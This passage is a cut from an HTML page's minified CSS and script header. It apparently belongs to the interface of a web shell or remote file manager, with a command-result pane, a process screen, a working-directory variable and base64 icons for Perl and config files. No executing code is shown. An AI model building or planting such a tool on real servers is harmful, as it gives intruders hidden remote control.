#aaa;padding-left:10px;color:rgba(0,0,0,.5);background:#ccc}.mwsbox .process-screen select option{color:rgba(0,0,0,.5)}.mwsbox .process-screen .cmd_result{word-break:break-all;width:100%;padding:10px;margin-top:10px;background:#222;border:1px solid rgba(255,255,255,.8);margin-bottom:10px;color:#ff0000;font-weight:700;font-size:14px;max-height:250px;overflow:auto}.mwsbox .process-screen .cmd_result::-webkit-scrollbar{width:8px}.mwsbox .process-screen .cmd_result::-webkit-scrollbar-track{background-color:#ff0000;border-radius:50px}.mwsbox .process-screen .cmd_result::-webkit-scrollbar-thumb{background-color:gray;border-radius:50px}.mwsbox .popup-box{position:absolute;width:300px;min-width:250px;border-radius:5px;padding:10px;font-size:14px;font-weight:700;box-shadow:15px 12px 20px -15px rgba(0,0,0,.9);color:#ff0000;transition:250ms all;right:-9999px;top:10%;opacity:0;visibility:hidden;z-index:50}#path strong{padding-left:2px}#path strong:hover{text-decoration:underline}.popup-box.alert{background:#bd0404}.popup-box.success{background:#029c11}@media only screen and (max-height:900px){.mwsbox{height:800px;width:100%;overflow-x:hidden;}.bottom-menu{top:0;max-height:50px;transform:none}.holder{width:100%}}@media only screen and (max-width:450px){.holder{width:100%;height:100%;overflow-x:hidden;}.bottom-menu{top:0;max-height:50px;transform:none}}@keyframes spin{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}\r\n    </style>\r\n    <script>\r\n\t\tlet working_dir,release="1.0",perl_icon="data:image/png;base64,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",xml_icon="data: image/png;base64,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",config_icon="data: image/png;base64,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